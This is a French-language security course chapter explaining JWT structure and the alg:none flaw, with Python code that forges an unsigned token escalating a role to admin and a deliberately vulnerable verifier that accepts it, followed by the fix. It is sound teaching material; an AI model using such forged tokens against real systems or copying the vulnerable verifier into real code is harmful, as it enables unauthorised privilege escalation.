cybercursus

Les JWT : structure, forge de token, faille alg:none

12 min · Intermédiaire · 7 août 2026

Sommaire
  1. Une alternative aux sessions côté serveur
  2. Structure : trois parties séparées par des points
  3. Encoder, décoder : aucun secret nécessaire
  4. La faille alg:none

Une alternative aux sessions côté serveur

Le chapitre précédent décrivait une session dont l’état (qui est connecté, avec quels droits) vit côté serveur, le cookie ne portant qu’un identifiant. Un JWT (JSON Web Token) inverse cette logique : l’état lui-même voyage dans le token, signé pour empêcher toute modification, mais jamais chiffré.

Structure : trois parties séparées par des points

text
entete.charge_utile.signature

Chaque partie est encodée en Base64url (une variante de Base64 compatible avec les URL). L’entête précise l’algorithme de signature utilisé, la charge utile contient les données (identité, rôle, expiration), la signature garantit que ni l’entête ni la charge n’ont été modifiés depuis leur émission par le serveur.

Encoder, décoder : aucun secret nécessaire

python
import base64, json

def base64url_encode(data):
  return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def base64url_decode(s):
  s += '=' * (-len(s) % 4)
  return base64.urlsafe_b64decode(s)

# Construire un JWT "normal", comme le ferait un vrai serveur apres connexion
entete = {"alg": "HS256"}
charge = {"utilisateur": "alice", "role": "user"}
jwt = base64url_encode(json.dumps(entete).encode()) + "." + base64url_encode(json.dumps(charge).encode()) + ".signature_valide_ici"
print("JWT :", jwt)

# Decoder : la charge utile n'est PAS chiffree, juste encodee
entete_b64, charge_b64, signature = jwt.split(".")
print("Entete decodee :", json.loads(base64url_decode(entete_b64)))
print("Charge decodee :", json.loads(base64url_decode(charge_b64)))

Décoder l’entête et la charge ne demande aucun secret : seule la vérification de la signature en demande un. C’est exactement la même logique que le Base64 du cours sur la cryptographie, appliquée ici au format JWT.

La faille alg:none

Certaines premières bibliothèques JWT faisaient une erreur précise : elles faisaient confiance au champ alg du token lui-même pour savoir comment le vérifier, au lieu d’imposer l’algorithme attendu côté serveur. Un token annonçant alg: none était alors accepté sans aucune vérification de signature.

python
import base64, json

def base64url_encode(data):
  return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def base64url_decode(s):
  s += '=' * (-len(s) % 4)
  return base64.urlsafe_b64decode(s)

# Forger un token avec alg:none et un role modifie, sans connaitre aucun secret
entete_forge = base64url_encode(json.dumps({"alg": "none"}).encode())
charge_forgee = base64url_encode(json.dumps({"utilisateur": "alice", "role": "admin"}).encode())
jwt_forge = entete_forge + "." + charge_forgee + "."  # signature vide
print("Token force :", jwt_forge)

def verificateur_vulnerable(token):
  entete_b64, charge_b64, signature = token.split(".")
  entete = json.loads(base64url_decode(entete_b64))
  if entete.get("alg") == "none":
      # Bug : aucune signature n'est verifiee dans ce cas precis
      return json.loads(base64url_decode(charge_b64))
  return None  # verification normale de la signature omise ici

resultat = verificateur_vulnerable(jwt_forge)
print("Le verificateur vulnerable accepte le token force avec :", resultat)

Sans jamais connaître la clé secrète du serveur, la charge utile a été modifiée (role passe de user à admin), et le vérificateur vulnérable l’accepte quand même.

Astuce

La correction est simple une fois le problème identifié : le serveur doit imposer lui-même l’algorithme attendu (« je vérifie toujours en HS256 »), sans jamais faire confiance à ce que le token prétend être. Les bibliothèques JWT modernes appliquent cette correction par défaut.

Pourquoi ne faut-il jamais placer une donnée secrète (mot de passe, numéro de carte) dans la charge utile d'un JWT ?
Sur quoi repose précisément la faille alg:none ?

Pour aller plus loin

Commentaires

Recherche